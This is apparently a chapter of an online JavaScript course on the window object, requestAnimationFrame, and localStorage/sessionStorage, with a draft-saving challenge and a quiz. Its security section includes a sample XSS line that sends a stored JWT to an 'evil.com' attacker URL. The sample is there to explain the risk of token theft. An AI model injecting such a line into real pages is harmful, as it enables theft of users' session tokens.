Chapter 1 of ?
js 10 min read

JavaScript Mastery — Chapter 30: JS Web APIs — Window & Web Storage

Module 7: Browser DOM & Web APIs • Chapter 30

JS Web APIs — Window & Web Storage

Harness the Browser Object Model (BOM): master window, location, history, smooth animation frames, and the client storage ecosystem (localStorage vs sessionStorage vs Cookies).

Client-Side Storage Architecture Matrix

Choosing the appropriate browser storage technology is essential for performance, user experience, security, and avoiding server transmission overhead.

localStorage Capacity: ~5MB - 10MB Lifetime: Permanent Scope: Origin (All Tabs) Sent to Server: Never Access: Synchronous JS sessionStorage Capacity: ~5MB Lifetime: Tab Close Scope: Single Tab only Sent to Server: Never Access: Synchronous JS Cookies Capacity: ~4KB total Lifetime: Configurable (Max-Age) Scope: Domain / Path Sent to Server: Every Request Security: HttpOnly / Secure IndexedDB Capacity: >250MB+ (Gigabytes) Lifetime: Permanent Scope: Origin Sent to Server: Never Access: Asynchronous (No lag)

1. The Window Object: Location, History & Screen

In the browser, window is the supreme global object. Every global variable declared with var and every function declaration automatically attaches as a property of window. It also exposes standard hardware and navigation sub-APIs:

window.location

Controls browser navigation and URL parsing:

  • location.href: Full URL string
  • location.search: Query string (?q=js)
  • location.assign(url): Navigates with history
  • location.replace(url): Replaces without history
window.history

Powers Single-Page Application (SPA) routing:

  • history.pushState(state, '', url)
  • history.replaceState(state, '', url)
  • history.back() / history.forward()
  • Listens to window.onpopstate
Screen & Viewport

Inspects display geometries and scrolling:

  • window.innerWidth / innerHeight
  • window.scrollX / scrollY
  • window.scrollTo({ top: 0, behavior: 'smooth' })
  • screen.availWidth / availHeight

60fps Visual Smoothness: requestAnimationFrame

Never animate layout changes with setInterval()! requestAnimationFrame syncs callbacks to the monitor's physical refresh rate (60Hz/120Hz/144Hz) and automatically pauses when the user switches tabs:

let pos = 0;
function animate() {
  pos += 2;
  box.style.transform = `translateX(${pos}px)`;
  
  if (pos < 400) {
    requestAnimationFrame(animate); // Synchronized to monitor VSync!
  }
}
requestAnimationFrame(animate);
Test in Playground

2. Modern Web Storage API: CRUD & JSON Serialization

Both localStorage and sessionStorage implement the identical Storage interface. Web Storage can only store strings, meaning objects and arrays must be serialized via JSON.stringify and parsed via JSON.parse.

Production Storage Pattern with Error Guarding

const StorageManager = {
  set(key, value) {
    try {
      localStorage.setItem(key, JSON.stringify(value));
    } catch (err) {
      // Handles QuotaExceededError or Private Browsing restrictions
      console.error('Storage Quota Exceeded or Access Denied', err);
    }
  },
  
  get(key, defaultValue = null) {
    try {
      const item = localStorage.getItem(key);
      return item ? JSON.parse(item) : defaultValue;
    } catch {
      return defaultValue;
    }
  },
  
  remove(key) {
    localStorage.removeItem(key);
  }
};

// Usage:
StorageManager.set('user_preferences', { theme: 'dark', fontSize: 16 });
const prefs = StorageManager.get('user_preferences', {});
Try in Playground
Cross-Tab Communication with the Storage Event

When one browser tab modifies localStorage, every other open tab on the same origin automatically fires a window.addEventListener('storage', (e) => { ... }). This enables synchronized cart updates and global cross-tab user logout!

Interactive Lab: Web Storage Manager

Live Inspector

Perform real CRUD operations against your browser's localStorage or sessionStorage. Keys and values update live in the table below.

Key Value Action

3. Critical Web Security: The XSS Storage Trap

Because localStorage and sessionStorage are fully readable by any JavaScript running on the page, NEVER store JWT access tokens, session IDs, or private user passwords in Web Storage.

Vulnerability: XSS Token Theft

If an attacker exploits a Cross-Site Scripting (XSS) vulnerability anywhere on your site (e.g. in a comment section), a single line of script can steal all tokens:

fetch(`https://evil.com/?steal=${localStorage.getItem('jwt')}`);
Production Defense: HttpOnly Cookies

Authentication tokens should always be stored in HttpOnly, Secure, SameSite=Strict Cookies. JavaScript cannot read HttpOnly cookies, completely eliminating client-side token exfiltration via XSS.

Hands-on Challenge

Build an Auto-Saving Form with Draft Restoration

Build a draft auto-saver: as the user types in the textarea, debounced changes automatically serialize to sessionStorage. If the page is reloaded, the draft automatically restores. Add a "Discard Draft" button that purges storage.

Saved
const DRAFT_KEY = 'article_draft_v1';
const input = document.getElementById('challenge-draft-input');
const badge = document.getElementById('draft-status-badge');

// 1. Restore saved draft on page load
const savedDraft = sessionStorage.getItem(DRAFT_KEY);
if (savedDraft) {
  input.value = savedDraft;
}

// 2. Auto-save on input
input.addEventListener('input', () => {
  sessionStorage.setItem(DRAFT_KEY, input.value);
  badge.className = 'badge bg-success';
  badge.innerText = 'Draft Saved';
});

// 3. Clear draft
function clearDraft() {
  sessionStorage.removeItem(DRAFT_KEY);
  input.value = '';
  badge.className = 'badge bg-secondary';
  badge.innerText = 'Discarded';
}

Chapter 30 Knowledge Check

Validate your understanding of the window BOM, storage quotas, lifetimes, and browser security.

1. What is the fundamental difference in data lifetime between localStorage and sessionStorage?
localStorage clears after 24 hours; sessionStorage is permanent
localStorage persists indefinitely until explicitly cleared; sessionStorage is destroyed when the browser tab closes
sessionStorage transmits to the server on every request; localStorage does not
There is no difference
2. What happens if you pass an object directly to localStorage.setItem('user', { id: 1 }) without JSON serialization?
It automatically saves the object as binary
The object is coerced to the string "[object Object]", losing all properties
JavaScript throws a SyntaxError
It encrypts the object
3. Why should sensitive authentication tokens (e.g. JWTs) NOT be stored in localStorage?
localStorage capacity is limited to 4KB
Any malicious script injected via Cross-Site Scripting (XSS) can read localStorage and steal the token
localStorage is deleted whenever the user scrolls
Web Workers cannot read HTTP headers
4. Why is requestAnimationFrame superior to setInterval for creating visual browser animations?
It converts CSS into WebGL
It synchronizes with the display refresh rate (VSync) and pauses when the tab is in the background
It executes inside a Web Worker thread
It bypasses the Call Stack entirely
5. Which event fires across other tabs on the same origin when localStorage is modified?
window.addEventListener('storage', ...)
document.addEventListener('mutate', ...)
window.addEventListener('popstate', ...)
navigator.addEventListener('sync', ...)
Done with this chapter?
Mark it complete to track your progress and unlock your certificate.
Next Up
—

Learner Reviews

Write a Review
Share your experience to help other learners.
Your Rating *
★ ★ ★ ★ ★